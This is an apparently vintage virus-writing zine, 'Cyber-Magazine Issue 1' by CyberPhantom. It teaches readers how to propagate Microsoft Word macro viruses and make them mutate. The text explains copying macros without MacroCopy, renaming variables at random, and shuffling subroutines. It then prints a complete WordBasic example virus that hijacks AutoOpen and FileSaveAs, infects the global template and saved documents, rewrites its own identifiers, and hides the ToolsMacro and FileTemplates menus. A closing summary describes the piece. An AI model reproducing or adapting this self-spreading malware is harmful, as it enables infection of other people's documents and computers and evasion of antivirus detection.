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Cyber-Magazine Issue 1

This magazine is dedicated to exploration of other techniques available for Microsoft Word Macro Virus propagation.  

First:

It is possible to propagate macros other than with the standard MacroCopy command.  It is possible to use the ToolsMacro. Edit command to create a new macro and then insert text into it directly.  The text can be copied out of the creating macro using LineUp, LineDown, CharLeft, and CharRight commands with the X, 1 flag set to select the desired text.  Follow this with an EditCopy command and the EditPaste in the "blank" macro and you have created a macro without using the MacroCopy command.

This functionality allows you to store all of your macros in one single macro while in "transit" (an infected document) and to "extract" the macros upon delivery to the target (NORMAL.DOT to be infected), including your stealth macros (unless, of course, your stealth macros ARE the infection vector).

(see example virus)

Second:

More Mutation:  Using the above technique as a starting point, it is possible to create better mutation than just mutating macro names.  It is in fact possible to create mutating variable names and mutating Sub/Function names.  

To do so, it is imperative that your code knows exactly where and long the variable/routine-name to be mutated is (at least one sample of it).  If you know that one location in a macro will never change, you can use that.  Then, you can read in the fixed length name with the GetText$(X,X) command.  Now, run your random name generator (making certain to generate a name that is THE SAME LENGTH).  Finally, use the EditReplace command to swap out all of the old names for the new names.  (see example virus)

You could also keep a separate "dummy" macro or routine that just stores a list of your ever mutating variable names so that you could have mutating lengths as well.  That way, you could just read in the first line in the list as your current variable, mutate it, then do your global replace, then move on to the next in your list.

i.e.:

sub dummy
LKJIIEKDG                   < ---- first variable
LKJS
LKJSOALKJBIEWDLA
POIEWM
SIEFQZCVWT
YJFHBWPVU                   < -----last variable
end sub


Third:

Even More Mutation:  Using a combination of the above techniques, it is possible to create mutating code segments.  That is, segments of code that change locations within the body of the code.

Consider if you will:  You could create a macro with several subroutines of exactly the same length.  Then when it was time to mutate (say at the next document infection), just use your knowledge that your have three subroutines of exactly the same length, starting at line X below the calling routine, and jumble them around.

i.e.

sub Main
   segmentA
   segmentB
   segmentC
end sub

sub segmentA
    do some stuff
end sub

sub segmentB
   do some other stuff
end sub

sub segmentC
   do strange stuff
end sub

could become:

sub Main
   segmentA
   segmentB
   segmentC
end sub

sub segmentB
   do some other stuff
end sub

sub segmentC
   do strange stuff
end sub

sub segmentA
    do some stuff
end sub

or it could become:

sub Main
   segmentA
   segmentB
   segmentC
end sub

sub segmentB
   do some other stuff
end sub

sub segmentA
    do some stuff
end sub

sub segmentC
   do strange stuff
end sub

Or it could become ANY permutation in the set!  Plus, the more subroutines you have to "jumble," the better the mutation becomes!


Fourth:

The future?  Only you can determine what's in the future.  Be creative!

-CyberPhantom


Example Virus:  (Infected Document Code)
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Sub MAIN
On Error Resume Next
ToolsMacro .Name = "autoopen", .Show = 1, .Delete
ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
ToolsMacro .Name = "XXXXX", .Show = 1, .Delete
AppMinimize
ToolsMacro .Name = "autoopen", .Edit, .Show = 3
StartOfDocument
EndOfDocument 1
EditCopy
DocClose
ToolsMacro .Name = "XXXXX", .Show = 1, .Edit
StartOfDocument
EndOfDocument 1
EditPaste
DocClose 1
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 35
LineDown 9, 1
EditCopy
DocClose
ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1
mutat
Payld
stlth
AppRestore
End Sub

Sub FlSvA
Dim _fldg As FileSaveAs
GetCurValues _fldg
Dialog _fldg
If _fldg.Format = 0 Then _fldg.Format = 1
FlNm$ = FileName$()
FlMcr$ = FlNm$ + ":AutoOpen"
MacroCopy "Global:XXXXX", FlMcr$
FileSaveAs _fldg
End Sub

Function Rndnm$
For count = 1 To 5
   rndnx = Int(Rnd() * (90 - 65) + 65)
   rndnx$ = rndnx$ + Chr$(rndnx)
Next count
Rndnm$ = rndnx$
End Function

Sub Payld
Rndnm = Int(Rnd() * (51  -  1) + 1)
If Rndnm = 50 Then MsgBox "Greetings to: CyberDragon, CyberMonk, CyberBard, CyberSage, CyberTeck, CyberHawk, CyberBeef, CyberLich, CyberKnight.  From: CyberPhantom"
End Sub

Sub mutat
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
dnatx$ = GetText$(606, 611)'mutat
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(648, 653)'FlSvA
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(658, 663)'_fldg
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(612, 617)'Payld
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(869, 874)'Rndnm
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(880, 885)'count
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(1299, 1304)'dnatx
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
DocClose 1
End Sub

Sub stlth
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 123
LineDown 2, 1
EditCopy
DocClose
ToolsMacro .Name = "ToolsMacro", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1

ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 127
LineDown 2, 1
EditCopy
DocClose
ToolsMacro .Name = "FileTemplates", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1
End Sub

Sub TlsMc
'No Macro
End Sub

Sub FlTpt
'No Macro
End Sub


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The code for a Word virus that propagates by copying macros directly, and mutating the variable names within those copied macros. Cyber-Magazine Issue #1, by CyberPhantom. "It is possible to propagate macros other than with the standard MacroCopy command", which can be used in conjunction with other mutating techniques, such as using random name an essay about macro viruses, exploring techniques for propagation and mutation. Includes code examples of macros infecting documents, with the potential to spread further upon opening or saving. The tone is technical yet informal. Cyber-Magazine Issue 1 by CyberPhantom, an exploration of other techniques available for Microsoft Word macro virus propagation.